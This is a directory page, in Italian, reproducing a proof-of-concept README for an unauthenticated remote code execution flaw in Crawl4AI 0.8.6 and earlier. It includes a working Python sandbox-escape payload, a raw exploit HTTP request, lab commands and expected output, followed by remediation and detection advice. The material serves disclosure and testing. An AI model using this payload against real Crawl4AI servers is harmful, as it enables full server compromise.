Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 RCE non autenticata (evasione sandbox AST tramite gi_frame.f_back). Lab + PoC, verificato end-to-end. | Kitploit
Strumenti/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Analisi StaticaAnalisi Dinamica (Sandboxing)Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
Lab e Pratica
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 RCE non autenticata (evasione sandbox AST tramite gi_frame.f_back). Lab + PoC, verificato end-to-end.

Vedi Repository
42 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-53753 — Esecuzione Remota di Codice non autenticata in Crawl4AI (Evasione del Sandbox AST)

RCE pre-autenticazione in Crawl4AI < 0.8.7. Uno schema JsonCssExtractionStrategy appositamente creato inviato all'endpoint non autenticato POST /crawl raggiunge il valutatore di campi calcolati (_safe_eval_expression), evade la sua lista di permessi AST tramite oggetti frame di Python, raggiunge i builtins reali ed esegue __import__('os').popen(<cmd>).read() — restituendo l'output del comando in-band nella risposta JSON.

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
AffettoCrawl4AI <= 0.8.6
Corretto0.8.7
ClasseCWE-94 (Code Injection) / Python sandbox escape
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticazioneNessuna — la configurazione fornita ha jwt_enabled: false
StatoCONFERMATO — riprodotto end-to-end sull'immagine ufficiale unclecode/crawl4ai:0.8.6

Indice

  1. Causa principale
  2. Anatomia del payload, riga per riga
  3. Perché la risalita dei frame raggiunge i builtins reali
  4. Configurazione del laboratorio
  5. Esecuzione dell'exploit
  6. Output previsto
  7. Richiesta HTTP grezza
  8. Risoluzione dei problemi
  9. Impatto / Rimedio / Rilevamento
  10. Validazione

Approfondimento: consulta ANALYSIS.md per una walkthrough nodo-per-nodo dell'AST, la pila dei frame a runtime, il flusso dei dati della richiesta e il diff della patch.


1. Causa principale

crawl4ai/extraction_strategy.py consente a uno schema di estrazione di definire campi calcolati — piccole espressioni Python valutate per ogni elemento estratto. Vengono eseguite da _safe_eval_expression(), che tenta di isolare l'espressione con una lista di permessi AST e un __builtins__ ridotto:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

Il validatore è negazione-per-prefisso: rifiuta solo i nomi che iniziano con _ (oltre a import). Questa singola euristica è l'intero sandbox — e ha tre buchi che si combinano in una fuga completa:

#BucoPerché è importante
1gi_frame, f_back, f_builtins non iniziano con _L'intera superficie di introspezione dei frame/generatori di Python è raggiungibile.
2obj['__import__'] è un ast.Subscript, non un ast.AttributeIl validatore non ispeziona mai le chiavi dei dict-subscript, quindi la chiave dunder __import__ passa.
3La catena f_back di un generatore in esecuzione porta a un frame esterno il cui f_builtins è il vero builtinsEsce dai _SAFE_EVAL_BUILTINS ridotti e torna a quelli completi (__import__, ecc.).

Lo schema raggiunge questa funzione senza autenticazione: l'API Docker fornisce security.jwt_enabled: false, quindi la dipendenza del token /crawl è lambda: None.

2. Anatomia del payload, riga per riga

L'espressione del campo calcolato è:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Leggendola pezzo per pezzo:

FrammentoRuoloPerché il validatore lo permette
(lambda: ... )()Crea uno scope di funzione in modo che il nome legato con walrus viva in una cella di chiusura.ast.Lambda non viene verificato.
g := ( <expr> for i in [1])Lega il generatore a g e il corpo del generatore fa riferimento a g (se stesso).:= e le espressioni generatore non vengono verificati. (Walrus è illegale in un iterabile di comprensione, quindi è posto in un elemento di tupla.)
list(g)Guida il generatore — quindi il suo frame è vivo quando il corpo viene eseguito.list è nei builtins sicuri.
g.gi_frameL'oggetto frame del generatore.gi_frame non inizia con _.
.f_back.f_back.f_backRisale tre frame fino a uno con i builtins reali.f_back non inizia con _.
.f_builtinsIl mapping builtins di quel frame (quello reale).f_builtins non inizia con _.
['__import__']Recupera __import__ dal dict builtins.Subscript di dict — mai ispezionato.
('os')__import__('os') → il modulo os.Il target della chiamata è un Subscript, non un Name/Attribute.
.popen('id').read()Esegue il comando e restituisce il suo stdout.popen/read non iniziano con _.

Poiché il valore del generatore è os.popen(cmd).read(), lo stdout del comando diventa il valore del campo e viene riflesso nella risposta /crawl — un oracolo in-band, nessun bisogno di OAST.

3. Perché la risalita dei frame raggiunge i builtins reali

Mentre list(g) itera il generatore, lo stack delle chiamate appare così:

root@kitploit:~
frame: _safe_eval_expression()      <-- real builtins  (__import__ lives here)   ← f_back ×3
   └ frame: <expression> (eval)     <-- sandboxed builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- sandboxed                                 ← f_back ×1
             └ frame: <genexpr> g   <-- RUNNING; g.gi_frame is this frame         ← gi_frame

g.gi_frame.f_back è popolato solo mentre il generatore è in esecuzione (ecco perché il generatore deve fare riferimento a se stesso e essere guidato da list(g) — un generatore non ancora avviato ha f_back is None). Risalendo f_back tre volte si arriva al frame di _safe_eval_expression, il cui f_builtins è il modulo builtins completo — da cui __import__ viene estratto tramite subscript.

La profondità del frame è stabile per questo percorso di codice: f_back × 3 è corretto per _safe_eval_expression di Crawl4AI 0.8.6.

4. Configurazione del laboratorio

L'immagine ufficiale fornisce l'impostazione predefinita vulnerabile (nessuna autenticazione):

root@kitploit:~
# Opzione A — docker compose (host Docker normale con bridge networking)
docker compose -f lab/docker-compose.yml up -d

# Opzione B — docker run semplice
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Attendi circa 20 s per il riscaldamento del pool di browser (docker logs crawl4ai-vuln → Application startup complete).

5. Esecuzione dell'exploit

root@kitploit:~
# Ispeziona il corpo della richiesta senza inviarlo:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Esegui (lo stdout del comando torna nella risposta):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py usa solo la libreria standard di Python — nessuna dipendenza.

6. Output previsto

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

Il campo out contiene stato live del sistema operativo (output di id, uname, os-release del contenitore), non un eco della richiesta — uid=999(appuser) è l'account di servizio del contenitore, a prova di esecuzione di codice all'interno dell'host Crawl4AI. Un echo <marker> univoco è riflesso letteralmente, confermando che il comando è stato effettivamente eseguito.

7. Richiesta HTTP grezza

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… rende la richiesta autonoma — nessun fetch in uscita necessario; l'attaccante fornisce l'HTML inline.
  • baseSelector: "div" deve semplicemente corrispondere a un elemento affinché un campo calcolato venga valutato. Contro un vero target di crawling, usa qualsiasi selettore che corrisponda alla pagina.

8. Risoluzione dei problemi

SintomoCausa / soluzione
Connection refused su :11235Il contenitore si sta ancora riscaldando, oppure il tuo Docker daemon non ha una rete bridge utilizzabile. Attendi Application startup complete; se il mapping delle porte non si lega, esegui il contenitore con --network host.
out è nullIl selettore di base non ha corrisposto alcun elemento — assicurati che l'HTML raw:// contenga un <div> (o modifica baseSelector).
Funziona su 0.8.6 ma non su 0.8.7Previsto — 0.8.7 rimuove _safe_eval_expression e disabilita completamente la chiave expression (la correzione).

9. Impatto

Qualsiasi client raggiungibile in rete esegue comandi OS arbitrari sull'host Crawl4AI senza autenticazione nella distribuzione predefinita — compromissione totale del server e pivot verso qualsiasi risorsa interna a cui può accedere.

Rimedio

  • Esegui l'aggiornamento a Crawl4AI ≥ 0.8.7 (rimuove _safe_eval_expression; la chiave expression del campo calcolato è disabilitata — usa invece la chiave function con un callable Python verificato).
  • Difesa in profondità: abilita JWT (jwt_enabled: true + api_token) e non esporre mai l'API Crawl4AI a reti non fidate.

Rilevamento

Segnala i corpi di POST /crawl (e /crawl/stream) contenenti gi_frame, f_back, f_builtins o qualsiasi campo computed che trasporti una chiave expression.

Divulgazione / crediti

  • Autore del PoC: Caio Fabrício — github.com/BiiTts
  • Il credito della vulnerabilità appartiene al reporter originale del CVE/advisory; questo repository è una riproduzione indipendente per uso difensivo ed educativo.
  • Solo per test di sicurezza autorizzati.
Scarica lo strumento